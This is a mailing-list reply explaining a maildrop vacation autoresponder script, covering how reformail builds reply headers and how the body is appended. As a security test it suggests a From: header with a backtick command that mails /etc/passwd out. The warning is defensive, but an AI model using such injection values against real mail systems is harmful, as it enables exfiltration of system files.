[courier-users] Re: Vacation Filter Example

[Alessandro V. <ve...@ta...>]

Steve Manning writes: 

> I'm looking at the vacation script  example from the maildropex.html page, 
> but I can't find an example of what should go in the vacation.msg file. 
> 
> Should this be just the message body or a complete message with headers or 
> a complete message minus the To: header? 
> 
> This is the script: 
> 
>    cc /home/vmail/maildirs/james
>    xfilter "/usr/local/bin/reformail -r -t"

reformail prepares an answer and then xfilter puts its output
on your script stdin. Basically, it only writes the headers and
doesn't seem to do anything with body or attachments. 

Please keep in mind that you'll be using the return address.
E.g. experiment with something like 

From: "`cat /etc/passwd | sendmail me@somewhere`" <me@somewhere>
To: james@yoursite
Subject: whatever 

and similar stuff. Also, getaddr may insert newlines if
multiple comma separated addresses are found; recall that
the MATCH variable is set as a side effect of the regex. 

>    /^To:.*/
>    getaddr($MATCH) =~ /^.*/; 
> 
>    MATCH=tolower($MATCH)
>    flock "/home/vmail/jd.holiday.lock" {
>        `fgrep -iqx "$MATCH" /home/vmail/jd.holiday.lst 2>/dev/null || \
>        { echo "$MATCH" >> /home/vmail/jd.holiday.lst ; exit 1 ; } `
>    } 
> 
>    if ( $RETURNCODE == 0 )
>    {
>        exit
>    }

The following line is a nice puzzle, as the argument to 'to'
consists of two quoted strings that are concatenated. The
first 'cat' puts the headers from stdin that were prepared
by reformail. 'echo' with no arguments puts an empty line,
in case reformail didn't do it. Then you go with your holiday
stuff: it is the body of a message.
>
>    to "| ( cat - ; echo ""; cat /home/vmail/jd.holiday.msg) | $SENDMAIL" 
> 
> TIA 
> 
>    Steve

Ciao
Ale